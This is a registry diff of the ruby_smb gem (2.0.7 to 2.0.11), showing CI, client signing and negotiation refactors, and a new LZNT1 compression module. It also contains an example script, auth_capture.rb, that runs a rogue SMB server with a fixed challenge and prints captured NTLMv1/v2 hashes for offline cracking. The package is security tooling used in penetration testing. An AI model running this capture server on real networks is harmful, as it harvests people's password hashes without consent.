ruby_smb 2.0.7 → 2.0.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (53) hide show
  1. checksums.yaml +4 -4
  2. checksums.yaml.gz.sig +0 -0
  3. data/.github/workflows/verify.yml +57 -0
  4. data/README.md +0 -1
  5. data/examples/auth_capture.rb +71 -0
  6. data/lib/ruby_smb/client/negotiation.rb +11 -13
  7. data/lib/ruby_smb/client.rb +32 -27
  8. data/lib/ruby_smb/compression/lznt1.rb +164 -0
  9. data/lib/ruby_smb/compression.rb +7 -0
  10. data/lib/ruby_smb/dialect.rb +45 -0
  11. data/lib/ruby_smb/dispatcher/base.rb +1 -1
  12. data/lib/ruby_smb/dispatcher/socket.rb +1 -1
  13. data/lib/ruby_smb/gss/provider/authenticator.rb +42 -0
  14. data/lib/ruby_smb/gss/provider/ntlm.rb +303 -0
  15. data/lib/ruby_smb/gss/provider.rb +35 -0
  16. data/lib/ruby_smb/gss.rb +56 -63
  17. data/lib/ruby_smb/ntlm.rb +45 -0
  18. data/lib/ruby_smb/server/server_client/negotiation.rb +155 -0
  19. data/lib/ruby_smb/server/server_client/session_setup.rb +82 -0
  20. data/lib/ruby_smb/server/server_client.rb +163 -0
  21. data/lib/ruby_smb/server.rb +54 -0
  22. data/lib/ruby_smb/signing.rb +59 -0
  23. data/lib/ruby_smb/smb1/packet/negotiate_response.rb +11 -11
  24. data/lib/ruby_smb/smb1/packet/negotiate_response_extended.rb +1 -1
  25. data/lib/ruby_smb/smb1/packet/session_setup_request.rb +1 -1
  26. data/lib/ruby_smb/smb1/tree.rb +1 -1
  27. data/lib/ruby_smb/smb2/negotiate_context.rb +18 -2
  28. data/lib/ruby_smb/smb2/packet/compression_transform_header.rb +4 -0
  29. data/lib/ruby_smb/smb2/packet/negotiate_request.rb +9 -0
  30. data/lib/ruby_smb/smb2/packet/negotiate_response.rb +0 -1
  31. data/lib/ruby_smb/smb2/packet/session_setup_response.rb +2 -2
  32. data/lib/ruby_smb/smb2/packet/tree_connect_request.rb +1 -1
  33. data/lib/ruby_smb/smb2/tree.rb +1 -1
  34. data/lib/ruby_smb/smb2.rb +3 -1
  35. data/lib/ruby_smb/version.rb +1 -1
  36. data/lib/ruby_smb.rb +5 -3
  37. data/spec/lib/ruby_smb/client_spec.rb +24 -16
  38. data/spec/lib/ruby_smb/compression/lznt1_spec.rb +32 -0
  39. data/spec/lib/ruby_smb/gss/provider/ntlm/account_spec.rb +32 -0
  40. data/spec/lib/ruby_smb/gss/provider/ntlm/authenticator_spec.rb +101 -0
  41. data/spec/lib/ruby_smb/gss/provider/ntlm/os_version_spec.rb +32 -0
  42. data/spec/lib/ruby_smb/gss/provider/ntlm_spec.rb +113 -0
  43. data/spec/lib/ruby_smb/server/server_client_spec.rb +156 -0
  44. data/spec/lib/ruby_smb/server_spec.rb +32 -0
  45. data/spec/lib/ruby_smb/smb1/tree_spec.rb +4 -4
  46. data/spec/lib/ruby_smb/smb2/negotiate_context_spec.rb +2 -2
  47. data/spec/lib/ruby_smb/smb2/tree_spec.rb +5 -5
  48. data/spec/spec_helper.rb +1 -1
  49. data.tar.gz.sig +3 -1
  50. metadata +30 -4
  51. metadata.gz.sig +0 -0
  52. data/.travis.yml +0 -6
  53. data/lib/ruby_smb/client/signing.rb +0 -64
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: c1e0d11d506c513f94ddc1efedf51d0e65b5a5f888f8d176cd93ffb960837ba9
4
- data.tar.gz: b971db16ef47093b1d94ff9197b3cf5d222cbd475d9fda693bb0909341605072
3
+ metadata.gz: c45b986cea81d23700cf798535e234f058639645ff38416ca2caac32f4fd4958
4
+ data.tar.gz: 6c5efa5a6e195767262f63a3f49043e7abda4e11dc763bb83553a6507a9242fd
5
5
  SHA512:
6
- metadata.gz: cb50b51053a49ad9d06109b882eaad4288329f58609626630b4cb3b77cf88acf9fa51243778741d1fac514904bee5cb46ccb97af211aee3983b2ef03a93b47a8
7
- data.tar.gz: c57b3002a49e2a001fd17b1e088ad74dd8b1b465c6d393611817be2ae71217bde1f86fe579025a0af23b8d6e8d894a1ae24f376fda8dc24d5e2a2f274c65ae9f
6
+ metadata.gz: f6a54c8d0e8faf6d4ec317808ba077e01c470646e13b1b9c5b56c25f1fdc32bc101f137357112e6394c9111aae02d7bd47612f0f8f09226d1fdd9b595070a16a
7
+ data.tar.gz: 598e2c300856315be3d522ccce9b639f4159995b7c99595cd5cac1c167bea972f9d0cce380fa4da001bdf7c3d9515d1d23194780fd7de53355f968580d273103
checksums.yaml.gz.sig CHANGED
Binary file
@@ -0,0 +1,57 @@
1
+ name: Verify
2
+
3
+ on:
4
+ push:
5
+ branches:
6
+ - '*'
7
+ pull_request:
8
+ branches:
9
+ - '*'
10
+
11
+ jobs:
12
+ test:
13
+ runs-on: ubuntu-16.04
14
+ timeout-minutes: 40
15
+
16
+ strategy:
17
+ fail-fast: true
18
+ matrix:
19
+ ruby:
20
+ - 2.5
21
+ - 2.6
22
+ - 2.7
23
+ - 3.0
24
+ test_cmd:
25
+ - bundle exec rspec
26
+
27
+ env:
28
+ RAILS_ENV: test
29
+
30
+ name: Ruby ${{ matrix.ruby }} - ${{ matrix.test_cmd }}
31
+ steps:
32
+ - name: Checkout code
33
+ uses: actions/checkout@v2
34
+
35
+ - uses: actions/setup-ruby@v1
36
+ with:
37
+ ruby-version: ${{ matrix.ruby }}
38
+
39
+ - name: Setup bundler
40
+ run: |
41
+ gem install bundler
42
+ - uses: actions/cache@v2
43
+ with:
44
+ path: vendor/bundle
45
+ key: ${{ runner.os }}-gems-${{ hashFiles('**/Gemfile.lock') }}
46
+ restore-keys: |
47
+ ${{ runner.os }}-gems-
48
+ - name: Bundle install
49
+ run: |
50
+ bundle config path vendor/bundle
51
+ bundle install --jobs 4 --retry 3
52
+ - name: ${{ matrix.test_cmd }}
53
+ run: |
54
+ echo "${CMD}"
55
+ bash -c "${CMD}"
56
+ env:
57
+ CMD: ${{ matrix.test_cmd }}
data/README.md CHANGED
@@ -1,6 +1,5 @@
1
1
  # RubySMB
2
2
 
3
- [![Build Status](https://travis-ci.org/rapid7/ruby_smb.svg?branch=master)](https://travis-ci.org/rapid7/ruby_smb)
4
3
  [![Code Climate](https://codeclimate.com/github/rapid7/ruby_smb.png)](https://codeclimate.com/github/rapid7/ruby_smb)
5
4
  [![Coverage Status](https://coveralls.io/repos/github/rapid7/ruby_smb/badge.svg?branch=master)](https://coveralls.io/github/rapid7/ruby_smb?branch=master)
6
5
 
@@ -0,0 +1,71 @@
1
+ #!/usr/bin/ruby
2
+
3
+ require 'bundler/setup'
4
+ require 'ruby_smb'
5
+ require 'ruby_smb/gss/provider/ntlm'
6
+
7
+ # we just need *a* default encoding to handle the strings from the NTLM messages
8
+ Encoding.default_internal = 'UTF-8' if Encoding.default_internal.nil?
9
+
10
+ def bin_to_hex(s)
11
+ s.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
12
+ end
13
+
14
+ # this is a custom NTLM provider that will log the challenge and responses for offline cracking action!
15
+ class HaxorNTLMProvider < RubySMB::Gss::Provider::NTLM
16
+ class Authenticator < RubySMB::Gss::Provider::NTLM::Authenticator
17
+ # override the NTLM type 3 process method to extract all of the valuable information
18
+ def process_ntlm_type3(type3_msg)
19
+ username = "#{type3_msg.domain.encode}\\#{type3_msg.user.encode}"
20
+ _, client = ::Socket::unpack_sockaddr_in(@server_client.getpeername)
21
+
22
+ hash_type = nil
23
+ hash = "#{type3_msg.user.encode}::#{type3_msg.domain.encode}"
24
+
25
+ case type3_msg.ntlm_version
26
+ when :ntlmv1
27
+ hash_type = 'NTLMv1-SSP'
28
+ hash << ":#{bin_to_hex(type3_msg.lm_response)}"
29
+ hash << ":#{bin_to_hex(type3_msg.ntlm_response)}"
30
+ hash << ":#{bin_to_hex(@server_challenge)}"
31
+ when :ntlmv2
32
+ hash_type = 'NTLMv2-SSP'
33
+ hash << ":#{bin_to_hex(@server_challenge)}"
34
+ # NTLMv2 responses consist of the proof string whose calculation also includes the additional response fields
35
+ hash << ":#{bin_to_hex(type3_msg.ntlm_response[0...16])}" # proof string
36
+ hash << ":#{bin_to_hex(type3_msg.ntlm_response[16.. -1])}" # additional response fields
37
+ end
38
+
39
+ unless hash_type.nil?
40
+ version = @server_client.metadialect.version_name
41
+ puts "[#{version}] #{hash_type} Client : #{client}"
42
+ puts "[#{version}] #{hash_type} Username : #{username}"
43
+ puts "[#{version}] #{hash_type} Hash : #{hash}"
44
+ end
45
+
46
+ WindowsError::NTStatus::STATUS_ACCESS_DENIED
47
+ end
48
+ end
49
+
50
+ def new_authenticator(server_client)
51
+ # build and return an instance that can process and track stateful information for a particular connection but
52
+ # that's backed by this particular provider
53
+ Authenticator.new(self, server_client)
54
+ end
55
+
56
+ # we're overriding the default challenge generation routine here as opposed to leaving it random (the default)
57
+ def generate_server_challenge(&block)
58
+ "\x11\x22\x33\x44\x55\x66\x77\x88"
59
+ end
60
+ end
61
+
62
+ # define a new server with the custom authentication provider
63
+ server = RubySMB::Server.new(
64
+ gss_provider: HaxorNTLMProvider.new
65
+ )
66
+ puts "server is running"
67
+ server.run do
68
+ puts "received connection"
69
+ # accept all of the connections and run forever
70
+ true
71
+ end
@@ -57,15 +57,20 @@ module RubySMB
57
57
 
58
58
  # Takes the raw response data from the server and tries
59
59
  # parse it into a valid Response packet object.
60
- # This method currently assumes that all SMB1 will use Extended Security.
61
60
  #
62
61
  # @param raw_data [String] the raw binary response from the server
63
62
  # @return [RubySMB::SMB1::Packet::NegotiateResponseExtended] when the response is an SMB1 Extended Security Negotiate Response Packet
63
+ # @return [RubySMB::SMB1::Packet::NegotiateResponse] when the response is an SMB1 Negotiate Response Packet
64
64
  # @return [RubySMB::SMB2::Packet::NegotiateResponse] when the response is an SMB2 Negotiate Response Packet
65
65
  def negotiate_response(raw_data)
66
66
  response = nil
67
67
  if smb1
68
68
  packet = RubySMB::SMB1::Packet::NegotiateResponseExtended.read raw_data
69
+
70
+ unless packet.valid?
71
+ packet = RubySMB::SMB1::Packet::NegotiateResponse.read raw_data
72
+ end
73
+
69
74
  response = packet if packet.valid?
70
75
  end
71
76
  if (smb2 || smb3) && response.nil?
@@ -74,17 +79,10 @@ module RubySMB
74
79
  end
75
80
  if response.nil?
76
81
  if packet.packet_smb_version == 'SMB1'
77
- extended_security = if packet.is_a? RubySMB::SMB1::Packet::NegotiateResponseExtended
78
- packet.parameter_block.capabilities.extended_security
79
- else
80
- "n/a"
81
- end
82
82
  raise RubySMB::Error::InvalidPacket.new(
83
83
  expected_proto: RubySMB::SMB1::SMB_PROTOCOL_ID,
84
- expected_cmd: RubySMB::SMB1::Packet::NegotiateResponseExtended::COMMAND,
85
- expected_custom: "extended_security=1",
86
- packet: packet,
87
- received_custom: "extended_security=#{extended_security}"
84
+ expected_cmd: RubySMB::SMB1::Packet::NegotiateResponse::COMMAND,
85
+ packet: packet
88
86
  )
89
87
  elsif packet.packet_smb_version == 'SMB2'
90
88
  raise RubySMB::Error::InvalidPacket.new(
@@ -123,7 +121,7 @@ module RubySMB
123
121
  'SMB1'
124
122
  when RubySMB::SMB2::Packet::NegotiateResponse
125
123
  self.smb1 = false
126
- unless packet.dialect_revision.to_i == 0x02ff
124
+ unless packet.dialect_revision.to_i == RubySMB::SMB2::SMB2_WILDCARD_REVISION
127
125
  self.smb2 = packet.dialect_revision.to_i >= 0x0200 && packet.dialect_revision.to_i < 0x0300
128
126
  self.smb3 = packet.dialect_revision.to_i >= 0x0300 && packet.dialect_revision.to_i < 0x0400
129
127
  end
@@ -275,8 +273,8 @@ module RubySMB
275
273
  context_type: RubySMB::SMB2::NegotiateContext::SMB2_COMPRESSION_CAPABILITIES
276
274
  )
277
275
  # Adding all possible compression algorithm even if we don't support
278
- # them yet. This will force the server to disclose the support
279
- # algorithms in the repsonse.
276
+ # them yet. This will force the server to disclose the supported
277
+ # algorithms in the response.
280
278
  nc.data.compression_algorithms << RubySMB::SMB2::CompressionCapabilities::LZNT1
281
279
  nc.data.compression_algorithms << RubySMB::SMB2::CompressionCapabilities::LZ77
282
280
  nc.data.compression_algorithms << RubySMB::SMB2::CompressionCapabilities::LZ77_Huffman
@@ -2,18 +2,19 @@ module RubySMB
2
2
  # Represents an SMB client capable of talking to SMB1 or SMB2 servers and handling
3
3
  # all end-user client functionality.
4
4
  class Client
5
+ require 'ruby_smb/ntlm'
6
+ require 'ruby_smb/signing'
5
7
  require 'ruby_smb/client/negotiation'
6
8
  require 'ruby_smb/client/authentication'
7
- require 'ruby_smb/client/signing'
8
9
  require 'ruby_smb/client/tree_connect'
9
10
  require 'ruby_smb/client/echo'
10
11
  require 'ruby_smb/client/utils'
11
12
  require 'ruby_smb/client/winreg'
12
13
  require 'ruby_smb/client/encryption'
13
14
 
15
+ include RubySMB::Signing
14
16
  include RubySMB::Client::Negotiation
15
17
  include RubySMB::Client::Authentication
16
- include RubySMB::Client::Signing
17
18
  include RubySMB::Client::TreeConnect
18
19
  include RubySMB::Client::Echo
19
20
  include RubySMB::Client::Utils
@@ -277,7 +278,8 @@ module RubySMB
277
278
  # @param smb1 [Boolean] whether or not to enable SMB1 support
278
279
  # @param smb2 [Boolean] whether or not to enable SMB2 support
279
280
  # @param smb3 [Boolean] whether or not to enable SMB3 support
280
- def initialize(dispatcher, smb1: true, smb2: true, smb3: true, username:, password:, domain: '.', local_workstation: 'WORKSTATION', always_encrypt: true)
281
+ def initialize(dispatcher, smb1: true, smb2: true, smb3: true, username:, password:, domain: '.',
282
+ local_workstation: 'WORKSTATION', always_encrypt: true, ntlm_flags: default_flags)
281
283
  raise ArgumentError, 'No Dispatcher provided' unless dispatcher.is_a? RubySMB::Dispatcher::Base
282
284
  if smb1 == false && smb2 == false && smb3 == false
283
285
  raise ArgumentError, 'You must enable at least one Protocol'
@@ -296,7 +298,7 @@ module RubySMB
296
298
  @smb3 = smb3
297
299
  @username = username.encode('utf-8') || ''.encode('utf-8')
298
300
  @max_buffer_size = MAX_BUFFER_SIZE
299
- # These sizes will be modifed during negotiation
301
+ # These sizes will be modified during negotiation
300
302
  @server_max_buffer_size = SERVER_MAX_BUFFER_SIZE
301
303
  @server_max_read_size = RubySMB::SMB2::File::MAX_PACKET_SIZE
302
304
  @server_max_write_size = RubySMB::SMB2::File::MAX_PACKET_SIZE
@@ -306,18 +308,12 @@ module RubySMB
306
308
  # SMB 3.x options
307
309
  @session_encrypt_data = always_encrypt
308
310
 
309
- negotiate_version_flag = 0x02000000
310
- flags = Net::NTLM::Client::DEFAULT_FLAGS |
311
- Net::NTLM::FLAGS[:TARGET_INFO] |
312
- negotiate_version_flag ^
313
- Net::NTLM::FLAGS[:OEM]
314
-
315
311
  @ntlm_client = Net::NTLM::Client.new(
316
312
  @username,
317
313
  @password,
318
314
  workstation: @local_workstation,
319
315
  domain: @domain,
320
- flags: flags
316
+ flags: ntlm_flags
321
317
  )
322
318
 
323
319
  @tree_connects = []
@@ -368,31 +364,28 @@ module RubySMB
368
364
 
369
365
  # Performs protocol negotiation and session setup. It defaults to using
370
366
  # the credentials supplied during initialization, but can take a new set of credentials if needed.
371
- def login(username: self.username, password: self.password, domain: self.domain, local_workstation: self.local_workstation)
367
+ def login(username: self.username, password: self.password,
368
+ domain: self.domain, local_workstation: self.local_workstation,
369
+ ntlm_flags: default_flags)
372
370
  negotiate
373
- session_setup(username, password, domain, true,
374
- local_workstation: local_workstation)
371
+ session_setup(username, password, domain,
372
+ local_workstation: local_workstation,
373
+ ntlm_flags: ntlm_flags)
375
374
  end
376
375
 
377
376
  def session_setup(user, pass, domain, do_recv=true,
378
- local_workstation: self.local_workstation)
377
+ local_workstation: self.local_workstation, ntlm_flags: default_flags)
379
378
  @domain = domain
380
379
  @local_workstation = local_workstation
381
380
  @password = pass.encode('utf-8') || ''.encode('utf-8')
382
381
  @username = user.encode('utf-8') || ''.encode('utf-8')
383
382
 
384
- negotiate_version_flag = 0x02000000
385
- flags = Net::NTLM::Client::DEFAULT_FLAGS |
386
- Net::NTLM::FLAGS[:TARGET_INFO] |
387
- negotiate_version_flag ^
388
- Net::NTLM::FLAGS[:OEM]
389
-
390
383
  @ntlm_client = Net::NTLM::Client.new(
391
384
  @username,
392
385
  @password,
393
386
  workstation: @local_workstation,
394
387
  domain: @domain,
395
- flags: flags
388
+ flags: ntlm_flags
396
389
  )
397
390
 
398
391
  authenticate
@@ -431,7 +424,7 @@ module RubySMB
431
424
  end
432
425
 
433
426
  # Sends a packet and receives the raw response through the Dispatcher.
434
- # It will also sign the packet if neccessary.
427
+ # It will also sign the packet if necessary.
435
428
  #
436
429
  # @param packet [RubySMB::GenericPacket] the request to be sent
437
430
  # @param encrypt [Boolean] true if encryption has to be enabled for this transaction
@@ -444,14 +437,14 @@ module RubySMB
444
437
  when 'SMB1'
445
438
  packet.smb_header.uid = self.user_id if self.user_id
446
439
  packet.smb_header.pid_low = self.pid if self.pid
447
- packet = smb1_sign(packet)
440
+ packet = smb1_sign(packet) if signing_required && !session_key.empty?
448
441
  when 'SMB2'
449
442
  packet = increment_smb_message_id(packet)
450
443
  packet.smb2_header.session_id = session_id
451
- unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest)
452
- if self.smb2
444
+ unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest) || session_key.empty?
445
+ if self.smb2 && signing_required
453
446
  packet = smb2_sign(packet)
454
- elsif self.smb3
447
+ elsif self.smb3 && (signing_required || packet.is_a?(RubySMB::SMB2::Packet::TreeConnectRequest))
455
448
  packet = smb3_sign(packet)
456
449
  end
457
450
  end
@@ -654,5 +647,17 @@ module RubySMB
654
647
  @preauth_integrity_hash_value + data.to_binary_s
655
648
  )
656
649
  end
650
+
651
+ private
652
+
653
+ def default_flags
654
+ negotiate_version_flag = 0x02000000
655
+ flags = Net::NTLM::Client::DEFAULT_FLAGS |
656
+ RubySMB::NTLM::NEGOTIATE_FLAGS[:TARGET_INFO] |
657
+ negotiate_version_flag ^
658
+ RubySMB::NTLM::NEGOTIATE_FLAGS[:OEM]
659
+
660
+ flags
661
+ end
657
662
  end
658
663
  end
@@ -0,0 +1,164 @@
1
+ module RubySMB
2
+ module Compression
3
+ module LZNT1
4
+ def self.compress(buf, chunk_size: 0x1000)
5
+ out = ''
6
+ until buf.empty?
7
+ chunk = buf[0...chunk_size]
8
+ compressed = compress_chunk(chunk)
9
+ # chunk is compressed
10
+ if compressed.length < chunk.length
11
+ out << [0xb000 | (compressed.length - 1)].pack('v')
12
+ out << compressed
13
+ else
14
+ out << [0x3000 | (chunk.length - 1)].pack('v')
15
+ out << chunk
16
+ end
17
+ buf = buf[chunk_size..-1]
18
+ break if buf.nil?
19
+ end
20
+
21
+ out
22
+ end
23
+
24
+ def self.compress_chunk(chunk)
25
+ blob = chunk
26
+ out = ''
27
+ pow2 = 0x10
28
+ l_mask3 = 0x1002
29
+ o_shift = 12
30
+ until blob.empty?
31
+ bits = 0
32
+ tmp = ''
33
+ i = -1
34
+ loop do
35
+ i += 1
36
+ bits >>= 1
37
+ while pow2 < (chunk.length - blob.length)
38
+ pow2 <<= 1
39
+ l_mask3 = (l_mask3 >> 1) + 1
40
+ o_shift -= 1
41
+ end
42
+
43
+ max_len = [blob.length, l_mask3].min
44
+ offset, length = find(chunk[0...(chunk.length - blob.length)], blob, max_len)
45
+
46
+ # try to find more compressed pattern
47
+ _offset2, length2 = find(chunk[0...chunk.length - blob.length + 1], blob[1..-1], max_len)
48
+
49
+ length = 0 if length < length2
50
+
51
+ if length > 0
52
+ symbol = ((offset - 1) << o_shift) | (length - 3)
53
+ tmp << [symbol].pack('v')
54
+ # set the highest bit
55
+ bits |= 0x80
56
+ blob = blob[length..-1]
57
+ else
58
+ tmp += blob[0]
59
+ blob = blob[1..-1]
60
+ end
61
+
62
+ break if blob.empty? || i == 7
63
+ end
64
+
65
+ out << [bits >> (7 - i)].pack('C')
66
+ out << tmp
67
+ end
68
+
69
+ out
70
+ end
71
+
72
+ def self.decompress(buf, length_check: true)
73
+ out = ''
74
+ until buf.empty?
75
+ header = buf.unpack1('v')
76
+ length = (header & 0xfff) + 1
77
+ raise EncodingError, 'invalid chunk length' if length_check && length > (buf.length - 2)
78
+
79
+ chunk = buf[2...length + 2]
80
+ out << if header & 0x8000 == 0
81
+ chunk
82
+ else
83
+ decompress_chunk(chunk)
84
+ end
85
+ buf = buf[length + 2..-1]
86
+ end
87
+
88
+ out
89
+ end
90
+
91
+ def self.decompress_chunk(chunk)
92
+ out = ''
93
+ until chunk.empty?
94
+ flags = chunk[0].unpack1('C')
95
+ chunk = chunk[1..-1]
96
+ 8.times do |i|
97
+ if (flags >> i & 1) == 0
98
+ out << chunk[0]
99
+ chunk = chunk[1..-1]
100
+ else
101
+ flag = chunk.unpack1('v')
102
+ pos = out.length - 1
103
+ l_mask = 0xfff
104
+ o_shift = 12
105
+ while pos >= 0x10
106
+ l_mask >>= 1
107
+ o_shift -= 1
108
+ pos >>= 1
109
+ end
110
+
111
+ length = (flag & l_mask) + 3
112
+ offset = (flag >> o_shift) + 1
113
+
114
+ if length >= offset
115
+ out_offset = out[-offset..-1]
116
+ tmp = out_offset * (0xfff / out_offset.length + 1)
117
+ out << tmp[0...length]
118
+ else
119
+ out << out[-offset..-offset + length - 1]
120
+ end
121
+ chunk = chunk[2..-1]
122
+ end
123
+ break if chunk.empty?
124
+ end
125
+ end
126
+
127
+ out
128
+ end
129
+
130
+ class << self
131
+ private
132
+
133
+ def find(src, target, max_len)
134
+ result_offset = 0
135
+ result_length = 0
136
+ 1.upto(max_len - 1) do |i|
137
+ offset = src.rindex(target[0...i])
138
+ next if offset.nil?
139
+
140
+ tmp_offset = src.length - offset
141
+ tmp_length = i
142
+ if tmp_offset == tmp_length
143
+ src_offset = src[offset..-1]
144
+ tmp = src_offset * (0xfff / src_offset.length + 1)
145
+ i.upto(max_len) do |j|
146
+ offset = tmp.rindex(target[0...j])
147
+ break if offset.nil?
148
+
149
+ tmp_length = j
150
+ end
151
+ end
152
+
153
+ if tmp_length > result_length
154
+ result_offset = tmp_offset
155
+ result_length = tmp_length
156
+ end
157
+ end
158
+
159
+ result_length < 3 ? [0, 0] : [result_offset, result_length]
160
+ end
161
+ end
162
+ end
163
+ end
164
+ end